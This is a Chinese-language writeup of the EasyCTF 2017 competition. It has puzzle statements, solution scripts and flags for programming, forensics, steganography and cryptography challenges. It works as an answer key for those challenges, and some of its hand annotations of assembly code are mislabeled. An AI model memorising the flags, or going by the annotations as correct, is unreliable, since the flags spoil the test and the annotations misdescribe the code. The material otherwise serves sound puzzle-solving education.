安全路透社
当前位置:安全路透社 > 网络转载 > 正文

EasyCTF 2017 Writeup

TIM截图20170329165128.png

0×00 Miscellaneous

IRC

problem

EasyCTF has an IRC channel! Check out #easyctf2017 on freenode to claim a free flag, and stick around to get on-the-fly updates during the competition.

solution

了解一波IRC熟悉一下操作命令找到

Cannot join channel (+r) - you need to be identified with services 

解决方法成功加入到#easyctf2017的频道。

A-maze-ing

problem

Solve a maze! ‘j’ is left, ‘k’ is down, ‘l’ is right, and ‘i’ is up. You input directions in a string. An example: “jkliilillikjk”. Submit your input string as the flag. (Whoops! You don’t have a maze, do you? Sucks to be you.

solution

easyctf{jjjjjjjjjjjjjjjjjjj}

easyctf{kkkkkkkkkkkkkkkkkkk}

参考一个迷宫从入口进去沿着右手边的墙走是否肯定能走到出口

0×01 Programming

Hello, world!

problem

Use your favorite programming language to print Hello, world! to stdout! Use the programming interface to do this!

Programming Judge codes:

AC: accepted

WA: WRONG ANSWER (you're bad)

TLE: time limit exceeded (make your code faster)

RTE: runtime error

JE: judge error (contact an admin if you encounter this)

CE: compilation error

solution

print('Hello, world!')

Things Add Up

problem

For this problem you will utilise the programming interface, which you can access via the navigation bar at the top of your screen.

The input for your program will be given via STDIN – that’s cin, input(), and System.in for cxx, Python, and Java respectively. Output goes to STDOUT – cout, print, and System.out. Your program will be run on several sets of input, and if your output matches ours for each testcase, this problem will be marked solved.

We’ll start with a simple challenge. Each testcase has two lines of input. The first will contain an integer N. The second will contain a sequence of integers a_1, a_2, …, a_N. You are to output the sum of that sequence – that is, a_1 + a_2 + … + a_n. Good luck!

Input Constraints

0 < N < 100

-1000 < a_i < 1000

Sample Input

5

2 4 7 3 1

Sample Output

17

solution

n = input()

s = raw_input().split()

r = 0

for x in xrange(n):

    r += int(s[x])

print(r)

Fizz Buzz 1

problem

Write a program that takes an integer n as input.

Output the numbers 1 through n, in increasing order, one per line.

However, replace any line that is a multiple of 3 with Fizz and any that are a multiple of 5 with Buzz. Any line that is a multiple of 3 and 5 should be written as FizzBuzz.

The input will be the number of lines to write, n, followed by a linebreak.

Sample input:

17

Sample output:

1

2

Fizz

4

Buzz

Fizz

7

8

Fizz

Buzz

11

Fizz

13

14

FizzBuzz

16

17

solution

n = input()

for x in xrange(1, n + 1):

    if x % 3 == 0:

        if x % 5 == 0:

            print('FizzBuzz')

        else:

            print('Fizz')

    elif x % 5 == 0:

        print('Buzz')

    else:

        print(x)

Library

problem

Your librarian has a 2-row bookshelf that can contain N books in each row. She wants to know the number of ways that she can fill the bookshelf with red-colored books and blue-colored books such that no 2 red-colored books are adjacent to each other (horizontally or vertically).

Input: the integer, N (1<=N<=2^1024)

Output: the number of ways you can place red-colored books and blue-colored books onto a N-column bookshelf. Since this number might be really big, output it mod 10^9+7.

Example: Input: 2

Your valid bookshelf layouts are:

BB

BB

BB

BR

BR

BB

RB

BB

BB

RB

RB

BR

BR

RB

Therefore, Output: 7

solutin

画图或编程找出规律公式然后就是数学推导最后编程计算

import numpy as np

n = input()

temp = np.array([[0, 1], [1, 2]])

matrix = np.array([[0, 1], [1, 2]])

init = np.array([[3], [7]])

for x in xrange(n - 2):

    temp = np.dot(temp, matrix)

result = np.dot(temp, init)

print(result[0][0] % (10 ** 9 + 7))

来自VictorZC表哥的矩阵快速幂解法

n = input()

p = n-2

a0=0

a1=1

a2=1

a3=2

r0=1

r1=0

r2=0

r3=1

mod=10**9+7

while p>0:

    if p%2==1:

        c0=a0*r0+a1*r2

        c1=a0*r1+a1*r3

        c2=a2*r0+a3*r2

        c3=a2*r1+a3*r3

        r0=c0%mod

        r1=c1%mod

        r2=c2%mod

        r3=c3%mod

    c0=a0*a0+a1*a2

    c1=a0*a1+a1*a3

    c2=a2*a0+a3*a2

    c3=a2*a1+a3*a3

    a0=c0%mod

    a1=c1%mod

    a2=c2%mod

    a3=c3%mod

    p=p//2

if n==1:

    print 3

else:

    print (r2*3+r3*7)%mod

Fzz Buzz 2

problem

Oh no! Two of my keys are broken! Please help me make the same Fzz Buzz program, sans that one letter and queston marks.As a side note, use of eval() and exec() is also frowned upon and will be marked invalid.

solution

# Create aliases

f = getattr(globals()['__bu\x69lt\x69ns__'],'\x69nput')

p = getattr(globals()['__bu\x69lt\x69ns__'],'pr\x69nt')

# Get user input

n = f()

# Prints text for line k and calls itself with the next line

def go(k):

    a = ((k % 15 == 0) and p('F\x69zzBuzz'))

    a = ((k % 3 != 0 and k % 5 == 0) and p('Buzz'))

    a = ((k % 3 == 0 and k % 5 != 0) and p('F\x69zz'))

    a = ((k % 3 != 0 and k % 5 != 0) and p(k))

    a = ((k < n) and go(k + 1))

go(1)

Down a Notch

problem

I’ve spent too long in the high level, let’s take the level down a notch. Help me find the correct input to this function!Your answer should be in the format a:b where a and b are integers. Do not wrap it with easyctf{}.Hint: Compiled with x86-64 gcc 4.9.4

check(int, int):

        pushq   %rbp

        movq    %rsp, %rbp

        movl    %edi, -36(%rbp)

        movl    %esi, -40(%rbp)

        movl    -36(%rbp), %eax

        xorl    -40(%rbp), %eax

        movl    %eax, -4(%rbp)

        movl    -4(%rbp), %eax

        addl    $98, %eax

        movl    %eax, -8(%rbp)

        movl    -8(%rbp), %eax

        notl    %eax

        movl    %eax, %edx

        movl    -40(%rbp), %eax

        addl    %edx, %eax

        movl    %eax, -12(%rbp)

        movl    -12(%rbp), %eax

        xorl    -36(%rbp), %eax

        movl    %eax, -16(%rbp)

        movl    -40(%rbp), %eax

        imull   -4(%rbp), %eax

        cltd

        idivl   -8(%rbp)

        movl    %eax, %edx

        movl    -36(%rbp), %eax

        leal    (%rdx,%rax), %ecx

        movl    -12(%rbp), %edx

        movl    -16(%rbp), %eax

        addl    %edx, %eax

        xorl    %ecx, %eax

        movl    %eax, -20(%rbp)

        cmpl    $-814, -20(%rbp)

        sete    %al

        popq    %rbp

        ret

solution

推荐文章从汇编角度浅析C程序

简单的汇编代码理解:

push rbp

mov rbp, rsp

mov [rbp-36], edi

mov [rbp-40], esi

mov eax,[rbp-36]   ;eax = r36

xor [rbp-40], eax  ;r40 = r40 ^ eax

mov [rbp-4], eax   ;r4 = eax

mov eax, [rbp-4]   ;eax = r4

add eax, 98        ;eax = eax + 98

mov [rbp-8], eax   ;r8 = eax

mov eax, [rbp-8]   ;eax = r8

not eax            ;eax = ~ eax

mov edx, eax       ;edx = eax

mov eax,[rbp-40]   ;eax = r40 

add eax, edx       ;eax = eax + edx

mov [rbp-12], eax  ;r12 = eax

mov eax, [rbp-12]  ;eax = r12

mov eax, [rbp-36]  ;eax = r36

mov [rbp-16], eax  ;r16 = eax

mov eax, [rbp-40]  ;eax = r40

imul eax, [rbp-4]  ;eax = eax * r4

cltd

idiv [rbp-8]       ;eax = eax / r8 edx = eax % r8

mov edx, eax       ;edx = eax

mov eax, [rbp-36]  ;eax = r36

lea ecx, [rdx+rax] 

mov edx, [rbp-12]  ;edx =r12

mov eax, [rbp-16]  ;eax = r16

add eax, edx       ;eax = eax + edx

xorl ecx, eax      ;ecx = ecx ^ edx

movl eax, [rbp-20] ;eax = r20

cmpl -814, [rbp-20];r20 ?= -814

sete al

popq [rbp]

ret

a = input()

b = input()

c = a ^ b

d = 98 + c

e = ~d + b

f = e ^ a

g = a + b * c / d ^ e + f

g ?= -814

整理一下

g = a + b * (a ^ b) / (98 + (a ^ b)) ^ (~(98 + a ^ b) + b) + (~(98 + a ^ b) + b) ^ a

二元一次方程求解暴力跑一下

def check(a, b):

    c = a ^ b

    d = 98 + c

    e = ~d + b

    f = e ^ a

    res = a + b * c / d ^ e + f

    if res == -814:

        return True

    else:

        return False

for a in range(1000):

    for b in range(1000):

        find = False

        if check(a, b):

            find = True

            print "%d:%d" % (a, b) # 14:975

            break

    if find:

        break

MWayward Space Junk

problem

I’m trying to destroy some space junk, but it won’t stop moving!

nc wayward.tcp.easyctf.com 8580

Pilot Key: 7554eb73dc155375b47b4a655a27332b

hint: Try figuring out the trajectory of the junk.

solution

writeup

Match Me

problem

When making pairings between two sets of objects based on their preferences (in this case people), there can be multiple stable solutions, stable meaning that no two elements would prefer to be matched with each other over their current matching. A side-effect of having multiple solutions is that there are solutions favor one group over the other.

We received two files, one listing men and the other women. Each line contains a name, followed by a series of numbers. Each number N corresponds to their preference to be matched with the Nth member of the opposite list, with 1 being the highest.

For example, the entry “Joe 4, 5, 3, 1, 2″ means that Joe would most prefer the 4th entry on the opposite list, and least prefer the 2nd.

We have heard that there are some pairings that will be together in all possible stable matchings, please find them. However, because there are quite a bit of them, please submit your solution as the following:

MD5 hash of (male_1,female_1)(male_2,female_2)…(male_n,female_n), where the pairings are sorted alphabetically by male names. For example, (Bob,Susie)(Jim,Carol)(Tom,Emma) would be submitted as b0d75104ce4b3a7d892f745fd515fea4.

Here are the lists of preferences:male preferences, female preferences.

Hint: This is a fairly well-known graph problem. I would guess there is some sort of internet source on it.

solution

writeup

#https://www.youtube.com/watch?v=Qcv1IqHWAzg

import hashlib

def main(maleFile,femaleFile,reverse):

    #These -10000's and such are to pad the array,

    #so nth id represents nth index

    males = [[-10000]]

    maleIDNameMap = {}

    females = [[-10000]]

    femaleIDNameMap = {}

    loadData(males,maleIDNameMap,maleFile)

    loadData(females,femaleIDNameMap,femaleFile)

    #Format is that the man's index is there id, and inside is [x,y] where y is id of person they're paired with,

    # and x is his rank for that person, rank being 0-based

    manCurrentAssignments = [[1000000,-1000]]*len(males)

    unassignedWomenIDs = list(range(1,len(females)))

    while(len(unassignedWomenIDs) != 0):

        #use i, so I don't ahve to worry about modifying list while looping through it.

        i = len(unassignedWomenIDs) - 1

        while(i >= 0):

            womanID = unassignedWomenIDs[i]

            i-=1

            #pop so that I don't check same combo again later.

            nextPrefferedManID = females[womanID].pop(0)

            thisWomanPrefferenceRank = males[nextPrefferedManID].index(womanID)

            if(manCurrentAssignments[nextPrefferedManID][0] > thisWomanPrefferenceRank):

                # assign this woman to this man

                del unassignedWomenIDs[i+1]

                oldAssigneeID = manCurrentAssignments[nextPrefferedManID][1]

                if(oldAssigneeID==-1000):

                    #ezpz

                    manCurrentAssignments[nextPrefferedManID] = [thisWomanPrefferenceRank,womanID]

                else:

                    #gotta kick off old woman, and try everything in range 1... cur

                    #except I'm doing something clever and only keeping men she hasn't tried on listRef

                    #so program may just iterate a few more times. No recursive dealing with kicking off more

                    #and more women.

                    unassignedWomenIDs.append(oldAssigneeID)

                    manCurrentAssignments[nextPrefferedManID] = [thisWomanPrefferenceRank,womanID]

    output = []

    if(reverse):

        for i in range(1,len(males)):

            output.append([femaleIDNameMap[manCurrentAssignments[i][1]],maleIDNameMap[i]])

    else:

        for i in range(1,len(males)):

            output.append([maleIDNameMap[i],femaleIDNameMap[manCurrentAssignments[i][1]]])

    return output

def loadData(listRef,idRef,fname):

    lines = []

    with open(fname) as f:

        lines = f.readlines()

    i = 1

    for line in lines:

        elements = line.split(' ')

        idRef[i] = elements[0]

        tmp = []

        for k in range(1,len(elements)):

            tmp.append(int(elements[k][:-1]))

        listRef.append(tmp)

        i += 1

maleFirst   = main('male','female',False)

femaleFirst = main('female','male',True )

toMD5 = []

for i in maleFirst:

    for j in femaleFirst:

        if(i[0] == j[0]):

            if(i[1]==j[1]):

                toMD5.append(i)

# For MD5

md5String = ""

for i in toMD5:

    md5String += "(%s,%s)" %(i[0], i[1])

print(md5String)

md5 = hashlib.md5(md5String.encode()).hexdigest()

print(md5)

0×02 Forensics

Mane Event

problem

My friend just got back from the plains and he took this picture with his new camera. He also told me there’s a flag hidden in it – can you check it out for me?

solution

20xx

problem

My friend sent me this file and told me to git gud.

polutin

20xx writeup

scisnerof

problem

I found weird file! elif

solution

png文件内容被倒序处理了写一个脚本恢复

with open("elif", "rb") as file:

    with open("new.png", "wb") as png:

        data = []

        byte = file.read(1)

        while byte != "":

            data.append(byte)

            byte = file.read(1)

        for i in reversed(data):

            png.write(i)

flag:easyctf{r3v3r5ed_4ensics}

Petty Difference

problem

I found two files in a secret room. They look like jumbled letters with no patterns. I mean look at it! file1 is identical to file2, right?

solution

with open("file1.txt") as file1:

    str1 = file1.read()

with open("file2.txt") as file2:

    str2 = file2.read()

str1_diff = ''

str2_diff = ''

for x in range(len(str1)):

    if str1[x] != str2[x]:

        str1_diff = str1_diff + str1[x]

        str2_diff = str2_diff + str2[x]

print(str1_diff)

print(str2_diff)

print("flag:%s" %str1_diff[::-1])

Flag Collection

problem

Here’s a collection of flags! I think you’re looking for a specific one, though…

solution

Thumbs.db

thumbs viewer

11.png

easyctf{thumbs.db_c4n_b3_useful}

Zooooooom

problem

Hekkerman is looking awfully spooky. That hekker glare could pierce a firewall. What can he see that you can’t?

solution

图片由三张图片合并拼接而成分别分离出得到flag

Gibberish

problem

I have no idea what this image is, but my sources tell me that it contains something useful, a flag perhaps? Can you help me find it?There are 3 parts to the flag. There are 3 colors of the rainbow. My flag will never expire.HintPresence is more important than intensity. Everything is simply boolean. One of the parts requires a scanner.

solution

这题要仔细审题给了很多信息提示flag由三部分组成又说了三种颜色只给了一张24位的图片

很容易联想到图像的R,G,B分离处理打开PS把图像的R,G,B通道分离得到

R通道

G通道

B通道

题目又提示其中一张需要扫描器综合来看3张图片有张可能是条形码于是PS中反相不断锐化然后将线条填充完整类似这样

不过这样太麻烦于是写个脚本自动处理图像

from PIL import Image

from PIL import ImageEnhance

def invert(im):

    im = im.convert("L")

    pixel = im.load()

    width = im.size[0]

    height = im.size[1]

    for x in range(width):

        for y in range(height):

            pixel[x, y] = 255 - pixel[x, y]

    return im

def enhance(im):

    im = ImageEnhance.Contrast(im).enhance(10.0)

    return im

def fill(im):

    im = im.convert("L")

    pixel = im.load()

    width = im.size[0]

    height = im.size[1]

    for x in range(width):

        if((pixel[x, 0] != 255) or (pixel[x, 21] != 255) or (pixel[x, 43] != 255)):

            for y in range(height):

                pixel[x, y] = 0

    return im

def main():

    im = Image.open('cea3386a382bfad628a3c5edf8d61a9285ab0290_gibberish.png')

    pixel = im.load()

    channels = ['r', 'g', 'b']

    i = 0

    for im_channel in im.split():

        im_invert = invert(im_channel)

        im_enhance = enhance(im_invert)

        im_fill = fill(im_enhance)

        im_fill.save('im_' + channels[i] +'.png')

        i += 1

if __name__ == '__main__':

    main()

处理后分别得到

R通道图像

G通道图像

B通道图像

处理后G通道最有可能是条形码多次扫描终于条码扫描器Barcode Scanner

得到8个字符:LH5i6uQz

那其他两张图像怎么处理呢提示说任何事物都是简单的二进制开脑洞想到可能是黑白颜色代表二进制的10于是提取图像的首行像素转换二进制串再转换为字符串

from PIL import Image

import libnum

im_b = Image.open('im_b.png')

im_r = Image.open('im_r.png')

def image2ascii(im):

    im = im.convert("L")

    pixel = im.load()

    width = im.size[0]

    bits = ""

    for x in range(width):

        if(pixel[x, 0] == 255):

            bits += "0"

        else:

            bits += "1"

    print(libnum.b2s(bits))

def main():

    image2ascii(im_r)

    image2ascii(im_b)

if __name__ == '__main__':

    main()

也是得到了两组8个字符

aPgMasSt

5U5EYz2b

一开始以为三个部分组合可能是base64但是怎么组合都不对陷入江局又看了N遍题目说我的flag永远不会过期GG搜索N久才发现说的是pastebin。程序员的世界你不懂他们已经占领了 github但我们还有 PasteBin。

而你分享的内容会自动生成一个8字符的链接这脑洞也是服最后得到网址

组合得到easyctf{col0rs_b4rcod3s_and_b1nary_f?n}激动地一提交结果不对仔细又开打链接检查才发现flag里有个问号可能是让猜测填个u试试fun终于get Orz。

QR1

problem

I just saw this QR code the other day, but couldn’t tell what data it has. Can you help? Here it is.

Hint:Is the image only black and white?

solution

首先看到二维码的定位标识被反相处理了题目还提示了说图像只有黑色和白色吗于是推测图像可能不止黑白两种颜色于是打开PS不断锐化原图像果然发现一些接近黑色的颜色被暴露

需要把接近黑色的颜色画成黑色手动画图挺麻烦还是上脚本

from PIL import Image

def process(image):

    pixels = image.load()

    width = image.size[0]

    height = image.size[1]

    for x in range(width):

        for y in range(height):

            if (pixels[x, y] != 255):

                if pixels[x, y] < 125:

                    pixels[x, y] = 0

                else:

                    pixels[x, y] = 255

    return image

def main():

    image = Image.open('qr1.bmp')

    image = image.convert('L')

    processed_image = process(image)

    processed_image.save('solved.bmp')

if __name__ == '__main__':

    main()

得到处理后的图像

接下来对定位标识进行反相处理

easyctf{n0w_who-w0u1d_do_thAT_to_Th3ir_QR?}

Ogrewatch

problem

My friend was out watching ogres when he heard a strange sound. Could you figure out what it means? ogremanHintIf you’re having trouble with the file format, Gary Kessler might help.

solution

root@kali:~/Desktop# file ogreman 

ogreman: Matroska data

在了解一波MATROSKA 文件格式给文件加上.mka后缀后使用Pot Player播放时有字幕一闪而过

于是使用MATROSKA文件处理工具MKVToolNix中的mkvextract将字幕导出

λ mkvextract.exe tracks 132ea90b28084ca59d251988faeecf40e4879b98_ogreman 2:zimu

将有flag的部分提取出来单独处理

with open('flag.txt') as file:

    lines_list = file.readlines()

    flag = ""

    for line in lines_list:

        flag = flag + line[50]

    print(flag) # easyctf{subs_r_b3tt3r_th@n_dub5}

Flag PEG

problem

We found a flag but it didn’t do anything. Maybe you can find a better flag?You’re not looking deep enough.

solution

sunnyelf@ubuntu:~/Desktop$ binwalk -v heresaflag 

Scan Time:     2017-03-26 09:29:30

Target File:   /home/sunnyelf/Desktop/heresaflag

MD5 Checksum:  890fad720c23e53f4698ac04bc5f9a23

Signatures:    344

DECIMAL       HEXADECIMAL     DESCRIPTION

--------------------------------------------------------------------------------

0             0x0             JPEG image data, EXIF standard

12            0xC             TIFF image data, big-endian, offset of first image directory: 8

18357         0x47B5          Unix path: /www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt=

341939        0x537B3         7-zip archive data, version 0.3

sunnyelf@ubuntu:~/Desktop$ dd if=heresaflag of=1.7z skip=341939 bs=1

记录了156772+0 的读入

记录了156772+0 的写出

156772 bytes (157 kB, 153 KiB) copied, 0.211627 s, 741 kB/s

sunnyelf@ubuntu:~/Desktop$ 7z e 1.7z 

7-Zip [64] 9.20  Copyright (c) 1999-2010 Igor Pavlov  2010-11-18

p7zip Version 9.20 (locale=zh_CN.UTF-8,Utf16=on,HugeFiles=on,1 CPU)

Processing archive: 1.7z

Extracting  KHgrbikqKC0xKV5u

Everything is Ok

Size:       155553

Compressed: 156772

sunnyelf@ubuntu:~/Desktop$ python -c "import base64;print base64.b64decode('KHgrbikqKC0xKV5u')"

(x+n)*(-1)^n

看到(x+n)*(-1)^n可能是加密算法而KHgrbikqKC0xKV5u文件可能就是已加密的文件先拖进Hex Editor Neo看看

看到第一个字节是0×89第一反应可能png的头推测该加密的文件原文件是png文件如果x表示字节内容n表示顺序的话简单地来验证一下0×89 = 137137+0*(-1)^0=137果然计算结果相同那么把png文件头都使用(x+n)*(-1)^n加密再和已加密的文件对比一下呢

结果发现规律png文件头上的偶数位字节数值从0开始数起加密计算后总是与给的文件偶数位上字节数值相等png文件头上的奇数位字节数值加密后与给的文件奇数位上的字节数值满足一种关系给的文件奇数位上的字节数值减去经过加密的数值恒等于256比如175-(-81)=256 182-(-74)=256如果y=(x+n)*(-1)^n那么x=y/(-1)^n-n 注意计算结果可能为负值所以要模256所以接下来就交给脚本

decrypt_data = ''

with open('KHgrbikqKC0xKV5u', 'rb') as encrypted_file:

    n = 0

    while 1:

        byte = encrypted_file.read(1)

        if not byte:

            break

        d = ord(byte)

        if n % 2 == 0:

            y = d

            x = (y / ((-1) ** n) - n) % 256

            decrypt_data += chr(x)

        else:

            y = (d - 256)

            x = (y / ((-1) ** n) - n) % 256

            decrypt_data += chr(x)

        n += 1

with open('decrypt_file.png', 'wb') as decrypt_file:

    decrypt_file.write(decrypt_data)

My USB

problem

I found my usb from a long time ago. I know there’s a flag on there somewhere; can you help me find it?

solution

root@kali:~/Desktop# mv 2c370b79d147127064f019dcb05bba1aa917c552_usb.img usb.img

root@kali:~/Desktop# binwalk -v usb.img 

root@kali:~/Desktop# foremost usb.img

Finn

problem

The Resistance intercepted this suspicious picture of Finn’s old stormtrooper helmet, sent by General Hux to Kylo Ren. Hux isn’t exactly Finn’s biggest fan. What could he be hiding? Good luck!

If you get stuck, We also have this blob of sarcasm, which may or may not be useful in your quest. Worth a shot right?

HintIn hindsight, numerical pins make really bad passwords . . . especially if they are pop culture references, also some pixels differ by more than one

Everyone complains that my problems are too random. Fine. Here is EXACTLY how to solve this problem.

1\. Wow I have an image. I wonder why it’s so big (read: grandma, what large eyes you have)

2\. So I figured that part out. Great, there’s a password. I wonder what that has to do with this image. Or wait, I could just brute force it, right? Either way works. It’s called reading the problem description. Or even the title. Titles do matter.

3\. Yay, 2 images. What’s the difference? Hmmmm, I wonder what would happen if I ressed that difference pictorially. 

4\. Well I got some stuff, but it makes no sense. Oh wait, maybe I need a key! Let’s go back to that thing we extracted earlier, shall we? Maybe those discrepancies are ACTUALLY USEFUL. Nothing is an accident, not even random out of place pixels. Check them. Carefully.

5\. What do I do with this message and key? How about, the most obvious thing in every CTF ever. Seriously.

So you got the flag. Congrats! See, it wasn’t that bad.

solution

root@kali:~/Desktop# file finn.jpg 

finn.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 118x118, segment length 16, baseline, precision 8, 630x630, frames 3

root@kali:~/Desktop# binwalk -v finn.jpg 

Scan Time:     2017-03-27 03:53:23

Target File:   /root/Desktop/finn.jpg

MD5 Checksum:  e09ee29407ca1b68db84dae5be8a52d4

Signatures:    344

DECIMAL       HEXADECIMAL     DESCRIPTION

--------------------------------------------------------------------------------

0             0x0             JPEG image data, JFIF standard 1.01

44350         0xAD3E          Zip archive data, at least v1.0 to extract, name: kylo/

44413         0xAD7D          Zip archive data, encrypted at least v2.0 to extract, compressed size: 3489072, uncompressed size: 3488525, name: kylo/kylo1.png

3533573       0x35EB05        Zip archive data, encrypted at least v2.0 to extract, compressed size: 3489495, uncompressed size: 3488948, name: kylo/kylo2.png

7023399       0x6B2B27        End of Zip archive

root@kali:~/Desktop# foremost finn.jpg 

Processing: finn.jpg

|foundat=kylo/UT    

foundat=kylo/kylo1.pngUT*|

得到一个加密的zip尝试暴力破解

解压得到两种表面上相似的png图片使用Stegsolve对比检测当浏览到sub模式时

扫码得到26个hex值\x63\x68\x66\x63\x7e\x71\x73\x34\x76\x57\x72\x3c\x74\x73\x5c\x31\x75\x5d\x6b\x32\x34\x77\x59\x38\x4c\x7f尝试解码得到chfc~qs4vWr<ts\1u]k24wY8L结果不是flag根据提示又看比较出来的二维码左下角貌似多了一些像素于是在PS中对比才发现还有一些像素stegsolve没有提取出来

刚好26个像素将它们的灰度值提取出来5,4,7,4,5,2,7,0,4,8,5,8,6,0,3,0,6,2,9,1,1,3,6,2,8,2写个脚本异或看看

a = [0x63,0x68,0x66,0x63,0x7e,0x71,0x73,0x34,0x76,0x57,0x72,0x3c,0x74,0x73,0x5c,0x31,0x75,0x5d,0x6b,0x32,0x34,0x77,0x59,0x38,0x4c,0x7f]

b = [5,4,7,4,5,2,7,0,4,8,5,8,6,0,3,0,6,2,9,1,1,3,6,2,8,2]

c = []

d = ''

for x in xrange(len(a)):

    c.append(a[x] ^ b[x])

for y in xrange(len(c)):

    d += chr(c[y])

print(d) # flag{st4r_w4rs_1s_b35t_:D}

Serial

problem

I was listening to this haystack, but I didn’t notice anything. What did I miss?

hint: 010100110110010101110010011010010110000101101100001011100010111000101110

solution

writeup

Decomphose

problem

Image arithmetic is super neat until there’s more than two images involved.

file 1

file 2

file 3

file 4

solution

给了4个压缩包分别解压一共得到48张类似这样的图片

放大可以看到一些像素被周围黑色像素包围其他的图片打开放大看也是这种情况所以尝试把所有图片中被黑色像素包围的像素提取到一张图片上看看

import os

from PIL import Image

flag = Image.new("RGB", (1280, 720))

path = "E:\sunnyelf\Desktop\easyctf 2017\Forensics\Decomphose\decomp"

for file_name in os.listdir(path):

    f = Image.open(path + "\\" + file_name)

    width, height = f.size

    for i in xrange(width):

        for j in xrange(height):

            add = True

            if (i > 0 and f.getpixel((i - 1, j)) != (0, 0, 0)):

                add = False

            if (i < width - 1 and f.getpixel((i + 1, j)) != (0, 0, 0)):

                add = False

            if (j > 0 and f.getpixel((i, j - 1)) != (0, 0, 0)):

                add = False

            if (j < height - 1 and f.getpixel((i, j + 1)) != (0, 0, 0)):

                add = False

            if (add):

                flag.putpixel((i, j), f.getpixel((i, j)))

flag.save("flag.png")

跑了3分钟左右看看结果

QR2

problem

When I am not practicing my Oboe for band, I have been working on a QR code generator. For some reason, some of the images are not scannable. Here is one, can you tell me what it says?

NOTE: Due to a flag leak, this is a re-release of the problem with a new flag.

hint: Is there another kind of Oboe?

solution

writeup

0×03 Steganography

Kittycat

problem

My cats are cuter than yours :) hint: I used to have one cat, but now I have two.

solution

图像处理基本知识

图像基本运算

Install OpenCV-Python in Windows

ffmpeg -i kittycat.avi kittycat%01d.png

把视频每帧分离后得到606张png图片每两张表面看上去相似先尝试每两张异或提取出不同的地方

import cv2

i = 1

for x in xrange(1, 607, 2):   

    img1 = cv2.imread('kittycat' + str(x) +'.png')

    img2 = cv2.imread('kittycat' + str(x + 1) +'.png')

    xor_img = cv2.bitwise_xor(img1, img2)

    cv2.imwrite('xor/xor_img' + str(i) + '.png', xor_img)

    i += 1

得到303张异或后的图片尝试将它们全部相加

import cv2

add_img = cv2.imread('xor_img1.png')

for x in xrange(2, 304):

    img = cv2.imread('xor_img'+ str(x) +'.png')

    add_img = cv2.add(add_img, img)

cv2.imwrite('add_img.png', add_img)

PS处理一下

Bizarro

problem

Something seems very strange about this strange looking image. Check it out?

hint: Red herrings are always a touchy subject. Combine this hint with intel you find in the problem, throw in a blind guess, and perhaps you’ll stumble into the answer.

solution

CI XCVII CXV CXXI XCIX CXVI CII CXXIII CXVI CIV CV CXV XCV CV CXV XCV CX CXI CXVI XCV CXVI CIV CI XCV CII CVIII XCVII CIII CXXV XXXII CV XXXII CVII CX CXI CXIX XXXII CXVI CIV CV CXV XXXII CII CVIII XCVII CIII XXXII CV CXV XXXII CXIX CI CV CXIV C XXXII CV XXXII CVI CXVII CXV CXVI XXXII XCIX XCVII CX XXXIX CXVI XXXII CXII CXVII CXVI XXXII CIX CXXI XXXII CII CV CX CIII CI CXIV XXXII CXI CX XXXII CXIX CIV CXXI

罗马数字Roman numerals

在线转换一下得到一些数字数字大小都不超过255有可能是ASCII值

nums = [101,97,115,121,99,116,102,123,116,104,105,115,95,105,115,95,110,111,116,95,116,104,101,95,102,108,97,103,125,32,105,32,107,110,111,119,32,116,104,105,115,32,102,108,97,103,32,105,115,32,119,101,105,114,100,32,105,32,106,117,115,116,32,99,97,110,39,116,32,112,117,116,32,109,121,32,102,105,110,103,101,114,32,111,110,32,119,104,121]

txt = ''

for n in nums:

    txt += chr(n)

print(txt)

easyctf{this_is_not_the_flag} i know this flag is weird i just can't put my finger on why

额好吧后来看了大神的writeup跪了。

0×04 Cryptography

Flip My Letters

problem

I dropped my alphabet on its head, can you help me reassemble it? 

easyctf{r_wlmg_vevm_mvvw_zm_zhxrr_gzyov}

solution

使用了简单的替换的加密方法每个字母被对应另一个字母替换使用基于字典的词频分析在线网站quipqiup解出flag。

Clear and Concise Commentary on Caesar Cipher

problem

The flag is in Commentary.pdf. Use lowercase.

solution

凯撒密码给出的文档值得一看找到文档中RNFLPGS{LBHTBGVG}凯撒密码在线解密

最终flag为easyctf{yougotit}

RSA1

problem

I found somebody’s notes on their private RSA! Help me crack this.

solution

RSA算法原理

扩展欧几里得算法

libnum模块

import libnum

p = 33499881069427614105926941260008415630190853527846401734073924527104092366847259

q = 34311544767652906613104559081988349779622789386528780506962212898921316785995851

e = 65537

c = 43465248299278658712013216049003172427898782261990372316282214376041873514481386908793943532363461126240609464283533882761307749486816342864113338277082746552

n = p * q

phi = (p - 1) * (q - 1)

d = libnum.modular.invmod(e, phi)

print libnum.n2s(pow(c, d, n)) #easyctf{wh3n_y0u_h4ve_p&q_RSA_iz_ez_7829d89f}

Let Me Be Frank

problem

I was talking to one of my friends but I couldn’t quite understand what he was saying. I think it might be important so here it is: 

Nwh whdjwh qm uepen, T tjb fsmt tixgi jsrsh sigm gs mpzp xwqf iahxpv iw fslkt. pehgpxf{qtextz_glacz_elt_neinrw_qsg_bums_dcp}

solution

维吉尼亚密码解密

RSA2

problem

Some more RSA! This time, there’s no P and Q… this.

solution

yafu– Automated integer factorization

yafu-x64.exe factor(266965481915457805187702917726550329693157)

...snip...

***factors found***

P21 = 458070420083487550883

P21 = 582804455845022449879

import libnum

n = 266965481915457805187702917726550329693157

p = 458070420083487550883

q = 582804455845022449879

e = 65537

c = 78670065603555615007383828728708393504251

phi = (p - 1) * (q - 1)

d = libnum.modular.invmod(e, phi)

print libnum.n2s(pow(c, d, n)) #flag{l0w_n_0eb6}

Decode Me

problem

Someone I met today told me that they had a perfect encryption method. To prove that there is no such thing, I want you to decrypt this encrypted flag he gave me.

solution

import base64

with open('encrypted_flag.txt') as file:

    data = file.read()

    while True:

        if 'easyctf' not in data:

            data = base64.b64decode(data)

        else:

            break

    print(data) # easyctf{what_1s_l0v3_bby_don7_hurt_m3}

Hash on Hash

problem

There’s a lot of hex strings here. Maybe they’re hiding a message? hexstrings

solution

import hashlib

md5 = {}

string = ''

for x in xrange(0, 256):

    char = chr(x)

    md5_obj = hashlib.md5()

    md5_obj.update(char)

    md5_str = md5_obj.hexdigest()

    md5[md5_str] = char

with open('hexstrings.txt') as file:

    while True:

        line = file.readline().replace('\n', '')

        if len(line) == 0:

            break

        string += md5[line]

print string # easyctf{1_h0p3_y0u_d1dn7_d0_7h47_by_h4nd}

RSA 3

problem

We came across another message that follows the same cryptographic schema as those other RSA messages. Take a look and see if you can crack it.

solution

